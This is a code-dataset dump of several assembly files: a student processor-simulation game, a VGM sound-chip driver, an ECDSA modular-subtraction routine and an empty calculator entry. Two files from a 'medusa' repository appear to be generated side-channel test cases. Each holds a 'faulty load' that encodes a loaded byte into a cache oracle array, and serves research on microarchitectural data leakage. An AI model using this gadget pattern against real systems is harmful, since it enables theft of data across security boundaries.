hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
bad70ed5fdbdb28e9f5d978975377fa0929e9d44
8,943
asm
Assembly
project_testing/ex.asm
Ahmed-ata112/processor_simulation_game
e4222ab7974292b8b025cd5711ee1d1b10be4373
[ "MIT" ]
1
2022-02-28T15:44:58.000Z
2022-02-28T15:44:58.000Z
project_testing/ex.asm
Ahmed-ata112/processor_simulation_game
e4222ab7974292b8b025cd5711ee1d1b10be4373
[ "MIT" ]
null
null
null
project_testing/ex.asm
Ahmed-ata112/processor_simulation_game
e4222ab7974292b8b025cd5711ee1d1b10be4373
[ "MIT" ]
null
null
null
include kk.inc .MODEL SMALL .STACK 64 .DATA _AX dw 1234h _BX dw 50H _CX dw 2H _DX dw 1000H _SI dw ? _DI dw ? _SP dw ? _BP dw ? _00 db 56h _01 db 78H _02 db ? _03 db ? _04 db ? _05 db ? _06 db ? _07 db ? _08 db ? _09 db ? _A db ? _B db ? _C db ? _D db ? _E db ? _F db ? command_splited db 5 dup('$') Operand1 db 5 dup('$') Operand2 db 5 dup('$') Two_Operands_Together_splited db 10 dup('$') Operand2_Value dw ? Operand1_Value dw ? sizeIndex db 0 ;MOV [00],AX DONE ;MOV [00],Al DONE HASH DW ? ;MOV AX,[00] DONE HASH_Operand2 DW ? ;MOV Al,[00] DONE HASH_Operand1 DW ? ; ADD AX,[00] DONE ;ADC DX,BX DONE command DB 'MOV [00],AXe','$' ;SUB DX,BX DONE ;SBB DX,BX DONE ;................................................ .code ;DIV CX MAIN PROC far MOV AX,@DATA MOV DS,AX mov es,ax DisplayString command ;Convert_OP_TO_HEXA Operand1 CALL split_command split_operands Two_Operands_Together_splited Operand1 Operand2 HASHING command_splited HASH HASHING_op Operand1 HASH_Operand1 HASHING_op Operand2 HASH_Operand2 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; check_Operand HASH_Operand1 Operand1_Value Operand1 sizeIndex ;; 0 for byte, 1 for word ;check_Operand HASH_Operand2 Operand2_Value Operand2 sizeIndex CALL check_command HLT MAIN ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; Hany ;; split operand and store it in split_command ;; split operands and store it in Two_Operands_Together_splited split_command PROC mov SI, offset command mov DI, offset command_splited mov al,' ' ;; to check space moving11: MOVSB cmp al,[SI] jnz moving11 ;; Mena mov DI, offset Two_Operands_Together_splited mov al,'$' ;; to check end inc SI ;; to skip space moving22: MOVSB cmp al,[SI] jnz moving22 ret split_command ENDP check_command PROC MOV SI,offset HASH MOV DI,offset command_splited ;; ADD;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CMP [SI],29CH jz asdasd Jmp CHECK1 asdasd: MOV AX,Operand1_Value MOV BX,Operand2_Value ADD AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK1: ;; ADC CMP [SI],299H JNZ CHECK2 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value ADC AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK2: ;; SUB CMP [SI],311H JNZ CHECK3 ;; CODE DisplayString command_splited MOV AX,Operand1_Value MOV BX,Operand2_Value SUB AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK3: ;; SBB CMP [SI],2D8H JNZ CHECK4 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value SBB AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK4: ;; DIV CMP [SI],2EDH JNZ CHECK5 ;; CODE MOV BX,Operand1_Value MOV CL,sizeIndex CMP CL,1 JNE BYTE1 MOV AX,_AX ;;;;;; div error div overflow DIV BX ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MOV HASH_Operand1,24DH put_Operand HASH_Operand1 AX sizeIndex ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; MOV HASH_Operand1,25CH ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; put_Operand HASH_Operand1 DX sizeIndex JMP CONT ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; BYTE1: MOV AX,_AX ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; DIV BL MOV HASH_Operand1,24DH ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; put_Operand HASH_Operand1 AX sizeIndex CONT: CHECK5: ;; MUL;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CMP [SI],317H JNZ CHECK6 ;; CODE MOV BX,Operand1_Value MOV CL,sizeIndex CMP CL,1 JNE BYTE1 MOV AX,_AX MUL BX MOV HASH_Operand1,24DH put_Operand HASH_Operand1 AX sizeIndex MOV HASH_Operand1,25CH put_Operand HASH_Operand1 DX sizeIndex JMP CONT BYTE1: MOV AX,_AX MUL BL MOV HASH_Operand1,24DH put_Operand HASH_Operand1 AX sizeIndex CONT1: CHECK6: ;; MOV CMP [SI],323H JNZ CHECK7 ;; CODE put_Operand HASH_Operand1 Operand2_Value sizeIndex CHECK7: ;; XOR CMP [SI],343H JNZ CHECK8 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value XOR AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK8: ;; AND CMP [SI],2BAH JNZ CHECK9 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value AND AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK9: ;; OR CMP [SI],232H JNZ CHECK10 ;; CODE MOV AX,Operand1_Value MOV BX,Operand2_Value OR AX,BX put_Operand HASH_Operand1 AX sizeIndex CHECK10: ;; NOP CMP [SI],315H JNZ CHECK11 ;; CODE CHECK11: ;; SHR;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; CL CX CH CMP [SI],31AH ; xxxx xxxx xxxx xxxx JNZ CHECK15 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value SHR AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK15: ;; INC CMP [SI],2D7H JNZ CHECK12 ;; CODE MOV AX,Operand1_Value INC AX put_Operand HASH_Operand1 AX sizeIndex CHECK12: ;; DEC CMP [SI],2A8H JNZ CHECK13 ;; CODE MOV AX,Operand1_Value DEC AX put_Operand HASH_Operand1 AX sizeIndex CHECK13: ;; CLC CMP [SI],2B9H JNZ CHECK14 ;; CODE CLC CHECK14: ;; SHL CMP [SI],308H JNZ CHECK16 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value SHL AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK16: ;; SAR CMP [SI],305H JNZ CHECK17 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value SAR AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK17: ;; ROR CMP [SI],32BH JNZ CHECK18 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value ROR AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK18: ;; RCL CMP [SI],2F5H JNZ CHECK19 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value RCL AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK19: ;; RCR CMP [SI],307H JNZ CHECK20 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value RCR AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK20: ;; ROL CMP [SI],319H JNZ CHECK21 ;; CODE MOV AX,Operand1_Value MOV CX,Operand2_Value ROL AX,CL put_Operand HASH_Operand1 AX sizeIndex CHECK21: RET check_command ENDP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;Mena END MAIN
17.569745
156
0.426814
fa4bd5810841bda4a4d64b2e69669ffbee175f82
1,359
asm
Assembly
src/chips/YM2203.asm
sharksym/vgmplay-sharksym
d7763b87a379da4e6dadcc55026969d310957952
[ "BSD-2-Clause" ]
6
2020-04-21T17:26:27.000Z
2021-09-25T18:41:01.000Z
src/chips/YM2203.asm
sharksym/vgmplay-sharksym
d7763b87a379da4e6dadcc55026969d310957952
[ "BSD-2-Clause" ]
null
null
null
src/chips/YM2203.asm
sharksym/vgmplay-sharksym
d7763b87a379da4e6dadcc55026969d310957952
[ "BSD-2-Clause" ]
null
null
null
; ; VGM YM2203 chip ; YM2203: MACRO super: Chip YM2203_name, Header.ym2203Clock, YM2203_Connect ; hl' = time remaining ; ix = player ; iy = reader ProcessCommand: PROC call Reader_ReadWord_IY jp System_Return writeRegister: equ $ - 2 ENDP ; hl' = time remaining ; ix = player ; iy = reader ProcessCommandDual: PROC call Reader_ReadWord_IY jp System_Return writeRegister: equ $ - 2 ENDP ENDM ; ix = this ; iy = header YM2203_Construct: equ Chip_Construct ; jp Chip_Construct ; ix = this YM2203_Destruct: equ Chip_Destruct ; jp Chip_Destruct ; iy = drivers ; ix = this YM2203_Connect: call YM2203_TryCreate ret nc call Chip_SetDriver ld bc,YM2203.ProcessCommand.writeRegister call Device_ConnectInterface call Chip_IsDualChip ret z call YM2203_TryCreate ret nc call Chip_SetDriver2 ld bc,YM2203.ProcessCommandDual.writeRegister jp Device_ConnectInterface ; iy = drivers ; ix = this ; de <- driver ; hl <- device interface ; f <- c: succeeded YM2203_TryCreate: call Drivers_TryCreateOPN_IY ld hl,OPN_interface ret c call Drivers_TryCreateOPNOnOPNA_IY ld hl,OPNOnOPNA_interface ret c call Drivers_TryCreateNeotron_IY ld hl,Neotron_interfaceYM2203 ret c call Drivers_TryCreateOPNOnOPNADual_IY ld hl,OPNOnOPNADual_interface ret ; SECTION RAM YM2203_instance: YM2203 ENDS YM2203_name: db "YM2203 (OPN)",0
17.202532
60
0.767476
9250cf363ba39f8f8269487258ea133c4dd1658b
4,986
asm
Assembly
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1536.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1536.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1536.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_D_ht+0x1d9c1, %rdi nop nop nop nop nop cmp %r13, %r13 mov $0x6162636465666768, %rdx movq %rdx, %xmm6 movups %xmm6, (%rdi) nop inc %r14 lea addresses_WT_ht+0x1ca21, %rsi lea addresses_A_ht+0x6c95, %rdi nop nop nop xor %r9, %r9 mov $36, %rcx rep movsb and $1922, %rsi lea addresses_UC_ht+0x4671, %r13 clflush (%r13) nop nop nop and %rcx, %rcx movups (%r13), %xmm6 vpextrq $0, %xmm6, %r9 nop nop nop nop sub $29760, %r13 lea addresses_WT_ht+0x1aa81, %rsi lea addresses_UC_ht+0x1281, %rdi nop sub $43648, %r13 mov $62, %rcx rep movsq nop nop nop cmp %r14, %r14 pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r8 push %r9 push %rax push %rdx // Faulty Load mov $0x409eb0000000a81, %r8 clflush (%r8) nop nop nop nop and $45133, %rdx movups (%r8), %xmm5 vpextrq $0, %xmm5, %rax lea oracles, %r9 and $0xff, %rax shlq $12, %rax mov (%r9,%rax,1), %rax pop %rdx pop %rax pop %r9 pop %r8 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 16}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 0, 'type': 'addresses_A_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} {'src': {'same': False, 'congruent': 10, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': True, 'congruent': 6, 'type': 'addresses_UC_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
46.166667
2,999
0.661653
4fe64b5d4bb7c50186b896e3b55b2aadc8b34ef7
815
asm
Assembly
ecdsa128/src/GFp_src/src/submod.asm
FloydZ/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
11
2015-03-17T10:31:23.000Z
2022-01-21T17:42:43.000Z
ecdsa128/src/GFp_src/src/submod.asm
0xFF1E071F/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
null
null
null
ecdsa128/src/GFp_src/src/submod.asm
0xFF1E071F/Crypto-Hash
2635450fb16d4d8dc4578d6539cc25ce599f7e21
[ "MIT" ]
6
2018-01-29T16:06:36.000Z
2021-05-08T19:22:24.000Z
.686p .mmx .model flat,stdcall option casemap:none option prologue:none option epilogue:none extern __mod:DWORD .code submod proc ptrA:DWORD, ptrB:DWORD, ptrC:DWORD ;a-b=c mod __mod pushad mov esi, dword ptr [esp+20h+4] mov edi, dword ptr [esp+20h+8] mov ebp, dword ptr [esp+20h+12] mov eax, dword ptr [esi ] mov ebx, dword ptr [esi+ 4] mov ecx, dword ptr [esi+ 8] mov edx, dword ptr [esi+12] sub eax, dword ptr [edi ] sbb ebx, dword ptr [edi+ 4] sbb ecx, dword ptr [edi+ 8] sbb edx, dword ptr [edi+12] jnc @F add eax, dword ptr [__mod ] adc ebx, dword ptr [__mod+ 4] adc ecx, dword ptr [__mod+ 8] adc edx, dword ptr [__mod+12] @@: mov dword ptr [ebp ], eax mov dword ptr [ebp+ 4], ebx mov dword ptr [ebp+ 8], ecx mov dword ptr [ebp+12], edx popad ret 12 submod endp end
17.340426
47
0.658896
1406b42b137219b828efc0bf5397c16c59364790
6,367
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1811.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1811.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_21829_1811.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r8 push %r9 push %rbp push %rcx push %rdi push %rsi lea addresses_normal_ht+0x1cd29, %r8 nop nop nop sub %r9, %r9 movw $0x6162, (%r8) nop nop nop nop cmp $35134, %r9 lea addresses_UC_ht+0xf931, %rsi lea addresses_WC_ht+0x1a2b1, %rdi nop nop xor $45959, %rbp mov $2, %rcx rep movsb nop nop nop nop cmp %rbp, %rbp lea addresses_WT_ht+0x15c6d, %rsi lea addresses_normal_ht+0xcc03, %rdi nop nop nop and %r11, %r11 mov $126, %rcx rep movsl nop sub $64931, %rsi lea addresses_WT_ht+0x49b1, %rdi nop add $59703, %r11 vmovups (%rdi), %ymm0 vextracti128 $1, %ymm0, %xmm0 vpextrq $0, %xmm0, %rcx nop nop nop nop sub %rdi, %rdi lea addresses_D_ht+0x1d931, %r11 nop nop nop cmp $25677, %rcx mov (%r11), %r9 nop inc %rsi lea addresses_normal_ht+0x7c31, %rsi lea addresses_D_ht+0x15c31, %rdi nop nop nop nop nop add %r9, %r9 mov $85, %rcx rep movsq nop xor %r9, %r9 lea addresses_UC_ht+0x17831, %rcx clflush (%rcx) nop cmp %rdi, %rdi movb (%rcx), %r9b nop nop nop nop nop add %rdi, %rdi lea addresses_WC_ht+0x3231, %rsi add %rcx, %rcx mov (%rsi), %rbp nop nop nop nop nop dec %r8 lea addresses_D_ht+0x98e1, %rcx cmp $47919, %r8 vmovups (%rcx), %ymm7 vextracti128 $1, %ymm7, %xmm7 vpextrq $0, %xmm7, %rbp nop xor %r11, %r11 lea addresses_WC_ht+0x1bc31, %rcx add $46224, %r11 mov (%rcx), %r8 nop sub %rcx, %rcx pop %rsi pop %rdi pop %rcx pop %rbp pop %r9 pop %r8 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %rbx push %rsi // Faulty Load lea addresses_US+0xa431, %r11 nop inc %r15 movb (%r11), %bl lea oracles, %r15 and $0xff, %rbx shlq $12, %rbx mov (%r15,%rbx,1), %rbx pop %rsi pop %rbx pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': True}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 7, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 0, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 6, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 32, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 11, 'size': 8, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
40.044025
2,999
0.656667
a9507101dcb200b2bb421cf23fdaf38d8da40bd1
6,651
asm
Assembly
calculator.asm
FarhadGUL06/Assembly-x86
934e98fc2edc68216d48b2b7d0c05b7b79252e71
[ "MIT" ]
1
2022-03-05T22:01:31.000Z
2022-03-05T22:01:31.000Z
calculator.asm
FarhadGUL06/Assembly-x86
934e98fc2edc68216d48b2b7d0c05b7b79252e71
[ "MIT" ]
null
null
null
calculator.asm
FarhadGUL06/Assembly-x86
934e98fc2edc68216d48b2b7d0c05b7b79252e71
[ "MIT" ]
null
null
null
